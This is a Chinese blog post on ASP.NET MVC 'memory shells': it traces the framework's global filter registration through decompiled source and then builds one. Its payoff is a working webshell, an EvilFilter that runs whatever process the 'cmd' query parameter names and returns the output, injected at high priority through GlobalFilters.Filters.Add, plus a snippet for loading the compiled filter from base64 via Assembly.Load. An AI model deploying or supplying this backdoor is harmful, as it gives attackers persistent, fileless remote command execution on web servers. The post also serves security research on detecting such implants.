• Net MVC内存马


    Net MVC内存马

    前言

    在浏览论坛时候看到几篇关于Net 内存马的文章,引发我的好奇心,随手调了一下。

    结构分析

    按照Java内存马的思路,来跟踪NET中的Filter注册流程。

    创建了一个mvc项目看到MvcApplication类中

    namespace WebApplication3
    {
        public class MvcApplication : System.Web.HttpApplication
        {
            protected void Application_Start()
            {
                AreaRegistration.RegisterAllAreas();
                FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);
                RouteConfig.RegisterRoutes(RouteTable.Routes);
                BundleConfig.RegisterBundles(BundleTable.Bundles);
            }
        }
    }
    

    MvcApplication 中会FilterConfig加载进来。

    FilterConfig类中配置了所有需要加载的Filter。

    通过GlobalFilterCollection的Add方法进行将filter对象进行添加。

    namespace System.Web.Mvc
    {
        //
        // 摘要:
        //     表示一个包含所有全局筛选器的类。
        public sealed class GlobalFilterCollection : IEnumerable<Filter>, IEnumerable, IFilterProvider
        {
            //
            // 摘要:
            //     初始化 System.Web.Mvc.GlobalFilterCollection 类的新实例。
            public GlobalFilterCollection();
    
            //
            // 摘要:
            //     获取全局筛选器集合中的筛选器数目。
            //
            // 返回结果:
            //     全局筛选器集合中的筛选器数目。
            public int Count { get; }
    
            //
            // 摘要:
            //     向全局筛选器集合添加指定筛选器。
            //
            // 参数:
            //   filter:
            //     筛选器。
            public void Add(object filter);
            //
            // 摘要:
            //     使用指定的筛选器运行顺序向全局筛选器集合添加指定筛选器。
            //
            // 参数:
            //   filter:
            //     筛选器。
            //
            //   order:
            //     筛选器运行顺序。
            public void Add(object filter, int order);
            //
            // 摘要:
            //     从全局筛选器集合删除所有筛选器。
            public void Clear();
            //
            // 摘要:
            //     确定某筛选器是否在全局筛选器集合中。
            //
            // 参数:
            //   filter:
            //     筛选器。
            //
            // 返回结果:
            //     如果在全局筛选器集合中找到 filter,则为 true;否则为 false。
            public bool Contains(object filter);
            //
            // 摘要:
            //     返回循环访问全局筛选器集合的枚举器。
            //
            // 返回结果:
            //     循环访问全局筛选器集合的枚举器。
            public IEnumerator<Filter> GetEnumerator();
            //
            // 摘要:
            //     删除与指定筛选器匹配的所有筛选器。
            //
            // 参数:
            //   filter:
            //     要删除的筛选器。
            public void Remove(object filter);
        }
    }
    

    其中有2个add方法,两个参数的方法,第二个参数是设置Filter的执行优先级。

    首先让我们看FilterProviders.cs,该类为Filter提供注册点

    using System;
    
    namespace System.Web.Mvc
    {
    	// Token: 0x020000C6 RID: 198
    	public static class FilterProviders
    	{
    		// Token: 0x06000533 RID: 1331 RVA: 0x0000E9D4 File Offset: 0x0000CBD4
    		static FilterProviders()
    		{
    			FilterProviders.Providers.Add(GlobalFilters.Filters);
    			FilterProviders.Providers.Add(new FilterAttributeFilterProvider());
    			FilterProviders.Providers.Add(new ControllerInstanceFilterProvider());
    		}
    
    		public static FilterProviderCollection Providers { get; private set; } = new FilterProviderCollection();
    	}
    }
    

    FilterAttributeFilterProvider代码

    namespace System.Web.Mvc
    {
    	// Token: 0x020000C3 RID: 195
    	public class FilterAttributeFilterProvider : IFilterProvider
    	{
    		// Token: 0x06000520 RID: 1312 RVA: 0x0000E489 File Offset: 0x0000C689
    		public FilterAttributeFilterProvider() : this(true)
    		{
    		}
    
    		// Token: 0x06000521 RID: 1313 RVA: 0x0000E492 File Offset: 0x0000C692
    		public FilterAttributeFilterProvider(bool cacheAttributeInstances)
    		{
    			this._cacheAttributeInstances = cacheAttributeInstances;
    		}
    
    		// Token: 0x06000522 RID: 1314 RVA: 0x0000E4A1 File Offset: 0x0000C6A1
    		protected virtual IEnumerable<FilterAttribute> GetActionAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
    		{
    			return actionDescriptor.GetFilterAttributes(this._cacheAttributeInstances);
    		}
    
    		// Token: 0x06000523 RID: 1315 RVA: 0x0000E4AF File Offset: 0x0000C6AF
    		protected virtual IEnumerable<FilterAttribute> GetControllerAttributes(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
    		{
    			return actionDescriptor.ControllerDescriptor.GetFilterAttributes(this._cacheAttributeInstances);
    		}
    
    		// Token: 0x06000524 RID: 1316 RVA: 0x0000E770 File Offset: 0x0000C970
    		public virtual IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
    		{
    			if (controllerContext.Controller != null)
    			{
    				foreach (FilterAttribute attr in this.GetControllerAttributes(controllerContext, actionDescriptor))
    				{
    					yield return new Filter(attr, FilterScope.Controller, null);
    				}
    				foreach (FilterAttribute attr2 in this.GetActionAttributes(controllerContext, actionDescriptor))
    				{
    					yield return new Filter(attr2, FilterScope.Action, null);
    				}
    			}
    			yield break;
    		}
    
    		// Token: 0x04000164 RID: 356
    		private readonly bool _cacheAttributeInstances;
    	}
    }
    
    

    该类中有几个方法分别获取Filter、Controller、Action等特性集合

    public IEnumerable<Filter> GetFilters(ControllerContext controllerContext, ActionDescriptor actionDescriptor)
    		{
    			if (controllerContext == null)
    			{
    				throw new ArgumentNullException("controllerContext");
    			}
    			if (actionDescriptor == null)
    			{
    				throw new ArgumentNullException("actionDescriptor");
    			}
    			IFilterProvider[] combinedItems = this.CombinedItems;
    			List<Filter> list = new List<Filter>();
    			foreach (IFilterProvider filterProvider in combinedItems)
    			{
    				foreach (Filter item in filterProvider.GetFilters(controllerContext, actionDescriptor))
    				{
    					list.Add(item);
    				}
    			}
    			list.Sort(FilterProviderCollection._filterComparer);
    			if (list.Count > 1)
    			{
    				FilterProviderCollection.RemoveDuplicates(list);
    			}
    			return list;
    		}
    

    遍历combinedItems值获取IFilterProvider接口实例化对象,调用list.Sort进行排序

    System.Web.Mvc.FilterProviderCollection$FilterComparer

    private class FilterComparer : IComparer<Filter>
    		{
    			// Token: 0x06000531 RID: 1329 RVA: 0x0000E96C File Offset: 0x0000CB6C
    			public int Compare(Filter x, Filter y)
    			{
    				if (x == null && y == null)
    				{
    					return 0;
    				}
    				if (x == null)
    				{
    					return -1;
    				}
    				if (y == null)
    				{
    					return 1;
    				}
    				if (x.Order < y.Order)
    				{
    					return -1;
    				}
    				if (x.Order > y.Order)
    				{
    					return 1;
    				}
    				if (x.Scope < y.Scope)
    				{
    					return -1;
    				}
    				if (x.Scope > y.Scope)
    				{
    					return 1;
    				}
    				return 0;
    			}
    

    对比2个Filter的Order值和Scope值。

    可见先调用的IAuthorizationFilter.OnAuthorization

    可见IAuthorizationFilter优先级要高一些

    //IAuthorizationFilter调用
     AuthorizationContext authContext = InvokeAuthorizationFilters(controllerContext, filterInfo.AuthorizationFilters, actionDescriptor)
     
     //IActionFilter调用
     ActionExecutedContext postActionContext = InvokeActionMethodWithFilters(controllerContext, filterInfo.ActionFilters, actionDescriptor, parameters);
    
    //IResultFilter调用
     InvokeActionResultWithFilters(controllerContext, filterInfo.ResultFilters, postActionContext.Result);
    
     //IExceptionFilter调用
    ExceptionContext exceptionContext = InvokeExceptionFilters(controllerContext, filterInfo.ExceptionFilters, ex);
    

    构造

    与Java一直,继承IAuthorizationFilter接口,在OnAuthorization方法中构造马的内容。然后调用GlobalFilters.Filters.add方法将继承IAuthorizationFilter接口类的实例化对象也就是构造的内存马传递进去。

    比较懒代码直接写到了Controller里面进行执行注入内存马。

    using System;
    using System.Collections.Generic;
    using System.Diagnostics;
    using System.Linq;
    using System.Text;
    using System.Web;
    using System.Web.Mvc;
    
    namespace WebApplication3.Controllers
    {
        public class HomeController : Controller
        {
            public ActionResult Index()
            {
                GlobalFilters.Filters.Add(new EvilFilter(), -2);
            
                return View();
            }
        public class EvilFilter : IAuthorizationFilter
        {
            public void OnAuthorization(AuthorizationContext filterContext)
            {
                HttpRequestBase request = filterContext.HttpContext.Request;
                HttpResponseBase response = filterContext.HttpContext.Response;
                string cmd = request.QueryString["cmd"];
                if (cmd != null)
                {
    
                    Process process = new Process();
                    process.StartInfo.FileName = cmd;
                    process.StartInfo.UseShellExecute = false;
                    process.StartInfo.RedirectStandardOutput = true;
                    process.StartInfo.RedirectStandardError = true;
                    process.Start();
                    byte[] data = Encoding.UTF8.GetBytes(process.StandardOutput.ReadToEnd() + process.StandardError.ReadToEnd());
                    response.Write(System.Text.Encoding.Default.GetString(data));
                }
    
                else
                {
                    response.Write("null");
                }
    
            }
        }
    }
    

    与Java一致 NET也可以将以上EvilFilter这个恶意的Filter编译成dll,然后编码后进行加载。

    System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String("Filter base64字符"));
    
    assembly.CreateInstance(assembly.GetTypes()[0].FullName,)
    

    但只能在mvc下使用,因为GlobalFiltersIAuthorizationFilter需要System.Web.Mvc.dll依赖,在面对Webform的情况下无法使用。

    参考

    ASP.NET下的内存马(1) filter内存马

    聊聊新类型ASPXCSharp

    Asp.net MVC源码分析--Filter种类以及调用优先级

  • 相关阅读:
    MySQL数据库事务隔离级别(Transaction Isolation Level)
    getParameter() getInputStream()和getReader() 区别
    Could not resolve archetype org.apache.maven.archetypes:maven-archetype-quickstart
    解决count distinct多个字段的方法
    表的连接查询
    使用Nexus搭建Maven代理仓库
    来测试下你的JAVA编程能力
    JAVA编程能力提升学习图
    负载均衡各个算法JAVA诠释版
    从零开始学领域驱动设计(二)
  • 原文地址:https://www.cnblogs.com/nice0e3/p/15885345.html
Copyright © 2020-2023  润新知